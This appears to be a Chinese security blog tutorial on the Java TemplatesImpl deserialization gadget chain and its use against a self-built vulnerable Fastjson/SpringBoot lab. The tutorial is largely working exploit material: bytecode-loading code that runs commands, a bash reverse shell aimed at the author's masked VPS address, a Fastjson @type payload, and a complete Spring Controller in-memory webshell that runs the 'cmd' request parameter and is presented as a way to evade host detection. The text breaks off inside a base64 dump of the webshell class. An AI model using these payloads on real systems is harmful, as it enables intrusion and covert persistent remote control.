Java反序列化漏洞CC2利用链注入内存马

前言

TemplatesImpl 利用链是 Java 反序列化漏洞利用中一条重要的利用链路,Java cc2 链也正是基于此链路。在前文《浅析JavaWeb内存马基础原理与查杀思路》和《从Log4j和Fastjson RCE漏洞认识jndi注入》中分别学习了 Java 内存马的使用和 Fastjson 反序列化基于 JNDI 注入完成 RCE 的方法,然而 Fastjson 反序列化漏洞还有一条基于 TemplatesImpl 利用链注入 Java 代码的字节码来实现 RCE 的利用链路,这个过程支持通过 TemplatesImpl 利用链直接向受害系统注入内存马,从而真正实现了无落地文件的情况下注入 Java 内存马。

也就是说通过 Java 反序列化漏洞能够实现完全无落地文件的情况下注入 Java 内存马,这也正好解决了学习前面 Java 内存马时遇到的困惑和遗留问题——“基于传统 Webshell 注入 Java 内存马需要先有传统 Webshell 文件(比如冰蝎或哥斯拉)落地,这违背了内存马的诞生就是为了解决落地文件容易被查杀的初衷”。So 本文来学习下 TemplatesImpl 利用链的基本原理,以及如何借助它实现 Fastjson 反序列化漏洞或其它 Java 反序列化漏洞场景的 RCE,尤其是如何注入 Java 内存马。

TemplatesImpl链

先给出整个 TemplatesImpl 利用链的调用栈:

TemplatesImpl#newTransformer() ->
    TemplatesImpl#getTransletInstance() ->
        TemplatesImpl#defineTransletClasses()->
                TransletClassLoader#defineClass()->

1.1 defineClass()函数

关于 Java 类加载的几个知识点:

  • ClassLoader 类加载器,是 JVM 执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到 JVM 内部,然后转换为一个与目标类对应的java.lang.Class对象实例,它可以将字节码文件 (.class文件),通过 loadClass 函数加载类名,返回一个 Class 对象;
  • 同时 ClassLoader 类下面存在 defineClass 方法,可以将 byte[] 字节数组信息还原成一个 Class 对象;
  • javassist 技术可以动态生成字节码文件,包括了一些恶意代码文件,可进而通过 ClassLoader 类加载器将这些恶意的字节码文件转化为 java 类进行调用,达到执行恶意代码的目的。

ClassLoader 提供的 API:

package java.lang;
public abstract class ClassLoader {
    public Class loadClass(String name);
    protected Class defineClass(byte[] b);
    public URL getResource(String name);
    public Enumeration getResources(String name);
    public ClassLoader getParent();
}

其中类加载阶段:

ClassLoader#loadClass(类加载,从类缓或父加载器等位置寻找类)
    ——> ClassLoader#findClass(寻找类,通过URL指定的方式加载字节码)
        ——> ClassLoader#defineClass(定义类,通过获取的字节码转换成类对象)

但由于ClassLoader#defineClass方法为 protected 修饰,因此只能通过反射进行调用。
来看看 defineClass 函数的实际应用案例,先创建一个恶意类:

package com.Tr0e.test.Deserialization.TemplatesImpl;

public class Evil{

    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }

}

通过命令行执行javac Evil.java把它编译成 Evil.classs 字节码文件 然后进行 Base64 编码(其中tr -d '\n'是为了删除换行):

λ cat Evil.class | base64 | tr -d '\n'
yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBADBjb20vVHIwZS90ZXN0L0Rlc2VyaWFsaXphdGlvbi9UZW1wbGF0ZXNJbXBsL0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAQAAQAMAAEADQAAAAIADg==

然后执行如下代码,加载上述字节码并触发命令执行:

package com.Tr0e.test.Deserialization.TemplatesImpl;

import java.lang.reflect.Method;
import java.util.Base64;

/**
 * @author Tr0e
 */
public class DefineClass {
    public static void main(String[] args){
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBADBjb20vVHIwZS90ZXN0L0Rlc2VyaWFsaXphdGlvbi9UZW1wbGF0ZXNJbXBsL0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAQAAQAMAAEADQAAAAIADg==");
            Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.Tr0e.test.Deserialization.TemplatesImpl.Evil", code, 0, code.length);
            yyds.newInstance();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

imagepng
以上就是ClassLoader#defineClass将 byte[] 字节数组信息还原成一个 Class 对象并触发命令执行的过程,这也是下面将讲述的 TemplatesImpl 链的核心。

1.2 Javassist库的应用

Javassist (Java Programming Assistant) 是一个为 Java 提供字节码操作的库。它允许在运行时修改 Java 字节码,从而可以在不修改源码的情况下改变类的行为。

Javassist 的主要功能包括以下几个方面:

  • 动态生成类:Javassist 可以在运行时动态生成新的 Java 类,而不需要提前编写这些类的源代码。这在需要创建大量类且这些类的结构相似时特别有用。
  • 修改现有类:可以在运行时修改现有的 Java 类的字节码。通过修改字节码,可以添加新的方法、删除现有方法或改变方法的实现。
  • 字节码插桩:可以在现有方法中插入自定义代码,这对于性能监控、日志记录和安全检测非常有用。例如,可以在方法的开始和结束插入代码以记录方法的执行时间。
  • 支持运行时注入:可以在运行时将新的代码注入到现有的类中,从而实现动态代理、AOP(面向切面编程)等高级特性。

Javassist 的使用场景:

  • 框架开发:Javassist 广泛应用于开发动态代理、AOP 框架和 ORM(对象关系映射)框架。例如,Hibernate 就使用了 Javassist 来生成代理类。
  • 性能监控:可以用来插入监控代码,以跟踪和记录应用程序的性能指标。
  • 代码热替换:在开发和测试过程中,可以使用 Javassist 动态修改代码,而无需重新启动应用程序。
  • 测试工具:可以用来生成测试类或修改类的行为,以便于编写和执行测试用例。

回顾一下《浅析JavaWeb内存马基础原理与查杀思路》, Java Agent 内存马的注入也正是采用的此技术。

以下是一个使用 Javassist 动态生成类的简单示例:

import javassist.*;

public class JavassistExample {
    public static void main(String[] args) throws Exception {
        // 创建一个类池
        ClassPool pool = ClassPool.getDefault();
        // 创建一个类
        CtClass ctClass = pool.makeClass("com.example.HelloWorld");
        // 创建一个方法
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{}, ctClass);
        ctMethod.setModifiers(Modifier.PUBLIC);
        ctMethod.setBody("{ System.out.println(\"Hello, World!\"); }");
        // 将方法添加到类中
        ctClass.addMethod(ctMethod);
        // 将类写入文件
        ctClass.writeFile("output");
        // 加载并实例化生成的类
        Class<?> clazz = ctClass.toClass();
        Object instance = clazz.newInstance();
        // 调用方法
        clazz.getMethod("sayHello").invoke(instance);
    }
}

此处介绍 Javassist 库的原因是,上一小节通过ClassLoader#defineClass将 byte[] 字节数组信息还原成一个 Class 对象时,需要先将恶意 java 类手动转换成 class 字节码文件,这太麻烦了,使用 Javassist 能够帮我们动态地在内存中生成目标恶意字节数组,从而精简整个流程。

先在 Maven 项目项目导入 javassist 依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

然后执行如下等效于上一小节动态加载字节码的代码:

public static void main(String[] args){
    try {
        ClassPool pool = ClassPool.getDefault();
        //创建新类
        CtClass ct = pool.makeClass("Evil");
        //创建构造函数
        CtConstructor cons = ct.makeClassInitializer();
        //向构造函数插入字节码
        cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        //ct.writeFile("./");
        //生成字节码
        byte[] code = ct.toBytecode();
        //通过反射调用ClassLoader#defineClass
        Method define = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        define.setAccessible(true);
        Class cla = (Class)define.invoke(ClassLoader.getSystemClassLoader(), "Evil", code, 0, code.length);
        cla.newInstance();
    }catch (Exception e){
        e.printStackTrace();
    }
}

同样可以触发命令执行:
imagepng

1.3 TemplatesImpl链

既然ClassLoader#defineClass能将 byte[] 字节数组信息还原成一个 Class 对象,如果能找到一条利用链可以不受 defineClass 函数的 protected 限制直接调用它,且能传递我们可控的恶意字节数组,那岂不就是反序列化漏洞利用过程中传递恶意代码的绝佳路径?于是,便出现本文所要讲述 TemplatesImpl 链。

回顾本章节开篇提及的整个 TemplatesImpl 利用链的调用栈:

TemplatesImpl#newTransformer() ->
    TemplatesImpl#getTransletInstance() ->
        TemplatesImpl#defineTransletClasses()->
                TransletClassLoader#defineClass()->

参考 Y4tacker 的《[Java安全]利用TemplatesImpl执行字节码》跟踪一下代码链路。

1)在jdk1.8.0_202\src.zip!\com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java 类中可以找到一个内部类TransletClassLoader 继承了 ClassLoader,同时重写了 defineClass 函数并调用了目标函数 ClassLoader#defineClass
imagepng

TemplatesImpl 这个类简述功能就是对 xsl 格式文件生成的字节码转换成 XSLTC 模板对象,期间会处理字节码,因此重写了 defineClass 方法。

2)向上追踪 TransletClassLoader#defineClass 的调用方,发现是 TemplatesImpl#defineTransletClasses()
imagepng
3)再往上跟踪谁调用了 TemplatesImpl#defineTransletClasses(),可以发现是 TemplatesImpl#getTransletInstance()
imagepng
4)到此为止,要么是 Private 修饰要么就是 Protected 修饰,再往上继续追踪,发现是TemplatesImpl#newTransformer(),可以看到此时已经是 public 了:
imagepng
故整体 TemplatesImpl 利用链的调用栈为:

TemplatesImpl#newTransformer() ->
    TemplatesImpl#getTransletInstance() ->
        TemplatesImpl#defineTransletClasses()->
                TransletClassLoader#defineClass()->

同时 TemplatesImpl 类还存在一个成员函数 getOutputProperties() 调用了 newTransformer():
imagepng
故整条 TemplatesImpl 利用链的调用栈也可以为:

TemplatesImpl#getOutputProperties() ->
    TemplatesImpl#newTransformer() ->
        TemplatesImpl#getTransletInstance() ->
            TemplatesImpl#defineTransletClasses()->
                 TransletClassLoader#defineClass()->

下面我们利用 TemplatesImpl 来加载恶意字节码。

1)首先准备一个命令执行的 Exp,写了一个无参构造方法,内容为调用 Runtime 执行一个弹出计算器的命令:

package com.Tr0e.good.deserialization;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class TemplatesImplEvil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public TemplatesImplEvil() throws Exception  {
        super();
        Runtime.getRuntime().exec("calc");
    }
}

注意这段 exp 比前面多继承了一个类 AbstractTranslet 并重写了其两个成员函数 transform(),第一个 transform 带有 SerializationHandler 参数,是为了把 XML 文档转换为另一种格式,第二个 transform 带有 DTMAxisIterator 参数,是为了对 XML 文档中的节点进行迭代。

2)编写代码,加载上面的 TemplatesImplEvil 字节码:

package com.Tr0e.good.deserialization;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplDemo {

    public static void main(String[] args) throws Exception{
        //cat TemplatesImplEvil.class | base64  | tr -d '\n'
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZUZW1wbGF0ZXNJbXBsRXZpbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAL2NvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAANAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAUAAQAFQANABYACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

简单解释下设置 TemplatesImpl 类几个成员变量的目的:

成员变量赋值目的
_bytecodes它的类型是byte[][],就是我们需要加载的字节码
_name_name 默认为 null,但如果为 null 的话执行到利用链中的TemplatesImpl#getTransletInstance()函数时就会直接 return,它是一个字符串变量,故随意给它赋值一个字符串即可
_tfactory_tfactory 默认为 null,但如果为 null 的话执行到利用链中的TemplatesImpl#defineTransletClasses()函数时就会报错,因为它是一个 TransformerFactoryImpl 类型的对象,所以我们只需要复制给它一个对象即可new TransformerFactoryImpl()

执行上述代码,可成功触发命令执行:
imagepng
【More】
如果使用 Javassist 动态生成字节码,同时使用 TemplatesImpl#getOutputProperties()作为入口点,那么对应的加载恶意代码的 Demo 如下:

package com.Tr0e.good.deserialization;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;

public class TemolatesImplDemoNew {
    public static void main(String[] args) throws Exception {
        // 获取CtClass容器
        ClassPool classPool = ClassPool.getDefault();
        // 引入AbstractTranslet路径到classpath中
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 创建CtClass对象
        CtClass testCtClass = classPool.makeClass("TestCtClass");
        // 设置父类为AbstractTranslet
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        // 创建空初始化构造器
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();
        // 插入初始化语句
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
        // 获取字节数据
        byte[] bytes = testCtClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_name", "seizer");
        // templates.newTransformer();
        templates.getOutputProperties();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

imagepng

Fastjson反序列化

从Log4j和Fastjson RCE漏洞认识jndi注入》已经学习了通过 JNDI 注入完成 Fastjson 反序列化漏洞的利用,接下来看看如何通过 TemplatesImpl 链加载字节码实现 Fastjson 反序列化漏洞利用。

2.1 加载字节码->RCE

此处我选择在 Ubuntu 虚拟机 IDEA 的 SpringBoot 项目自行搭建 Fastjson 反序列化靶场,Java 版本和 Fastjson 版本如下:
imagepng
漏洞缺陷代码如下:

    @RequestMapping(value = "/fastjson/deserialize", method = {RequestMethod.POST})
    @ResponseBody
    public String Deserialize(@RequestBody String params) {
        // 如果Content-Type不设置application/json格式,post数据会被url编码
        try {
            // 将post提交的string转换为json
            Object ob = JSON.parseObject(params, Object.class, Feature.SupportNonPublicField);
            return ob.toString();
        } catch (Exception e) {
            return e.toString();
        }
    }

启动 SpringBoot 项目,接口访问效果如下:
imagepng
imagepng
注入的恶意代码为反弹 Shell 到我的 VPS 服务器:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.Runtime;
import java.lang.Process;


public class TemplatesImplEvil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public TemplatesImplEvil() throws Exception  {
        super();
        //Runtime.getRuntime().exec("gnome-calculator");
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/1xx.xxx.xxx.xxx/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

同样编译为 .class 后进行 base64 编码(Fastjson提取 byte[] 数组字段值时会进行 Base64 解码,所以我们构造 payload 时需要对_bytecodes字段进行 Base64 编码处理),发送 Payload:

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAAD………………AGQ=="],
    "_name": "s",
    "_tfactory": {},
    "_outputProperties": {}
}

imagepng
成功反弹 Shell 到 VPS 服务器:
imagepng
【小结】Fastjson 反序列化漏洞的 TemplatesImpl 利用链的整体思路如下:

  • 构造一个 TemplatesImpl 类的反序列化字符串,其中_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载并使用newInstance()实例化。
  • 在反序列化过程中,由于getter方法getOutputProperties()满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:
 getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> EvilClass.newInstance()

【注意】但是 Fastjson 反序列化漏洞此 TemplatesImpl 利用链的限制条件也很明显且苛刻:

JSON.parseObject(params, Object.class, Feature.SupportNonPublicField);

即需要 Fastjson 进行反序列化的函数 parseObject() 中需添加属性:Feature.SupportNonPublicField(实战中纯属碰运气了),用于突破访问私有属性限制,因为 TemplatesImpl 的 _bytecodes_name都是私有变量,所以想要反序列化这两个变量,需要设置Feature.SupportNonPublicField,否则 fastjson 默认无法序列化保护属性的变量。

【More】因为 TemplatesImpl 链在 Fastjson 反序列化漏洞利用过程中存在的明显条件限制,业界衍生了另外一条加载字节码的利用链路,即 BCEL 利用链,具体参见:《Java安全之Fastjson内网利用》。

2.2 字节码注入内存马

上面成功通过 Fastjson 反序列化漏洞直接反弹 Shell 到公网 VPS 服务器,反弹 Shell 这个动作太容易被终端安全软件(比如 HIDS)监测到了,前面通过《浅析JavaWeb内存马基础原理与查杀思路》学习了通过普通 Webshell 注入内存马来实现对目标机器的持久控制(借助内存马无文件落地、难以查杀的特点),那么我们能不能通过反序列化漏洞直接向目标机器注入内存马呢?答案是肯定的,同时这种注入内存马的方式不依赖于已落地的 Webshell,可在实现 RCE 的全程做到真正的无文件落地。

前面学习过传统 Web 应用型内存马(Servlet、Filter 内存马)、Agent 型内存马,下面演示的则是框架型内存马,即往 Spring 框架动态注册 Controller 及路由映射的 Spring Controller 型内存马。此类内存马具体的动态注册原理和逻辑分析请参考《Java安全学习:内存马 - 枫のBlog》,此处直接一个 Spring Controller 型内存马(支持数据回显)的示例代码和注释:

package com.Tr0e.good.deserialization;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

/**
 * @author Tr0e
 */
public class InjectToController extends AbstractTranslet {

    public InjectToController() throws NoSuchMethodException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("exec");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/evil");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }

    public InjectToController(String arg) {}

    public void exec(){
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
                }else{
                    p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

但是通过 javac 直接编译会发生大量报错:
imagepng
解决方法就是 IDEA 中先本地运行携带上述 InjectToController 类的 SpringBoot 项目(随便运行 Main 即可),然后在 target 文件夹就能找到所有类的 .class 文件了:
imagepng

D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ ls
InjectToController.class  TemolatesImplDemoNew.class  TemplatesImplDemo.class
D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ cat InjectToController.class  | base64  | tr -d '\n'
yv66vgAAADQA6goAOQB6CgB7AHwIAH0LAH4AfwcAgAcAgQsABQCCBwCDCABUBwCECgAKAIUHAIYHAIcIAIgKAAwAiQcAigcAiwoAEACMBwCNCgATAI4IAI8KAAgAkAoABgCRBwCSCgAYAJMKABgAlAgAlQsAlgCXCwCYAJkIAJoIAJsKAJwAnQoADQCeCACfCgANAKAHAKEIAKIIAKMKACQAiQgApAgApQcApgoAJACnCgCoAKkKACoAqggAqwoAKgCsCgAqAK0KACoArgoAKgCvCgCwALEKALAAsgoAsACvCwCYALMHALQKADcAtQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAyTGNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL0luamVjdFRvQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAB21ldGhvZDIBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAEmluamVjdFRvQ29udHJvbGxlcgEACkV4Y2VwdGlvbnMHALcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhcmcBABJMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAEZXhlYwEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIMHALgHALkHAIcHALoHAKEHAKYHALQBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwC7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAXSW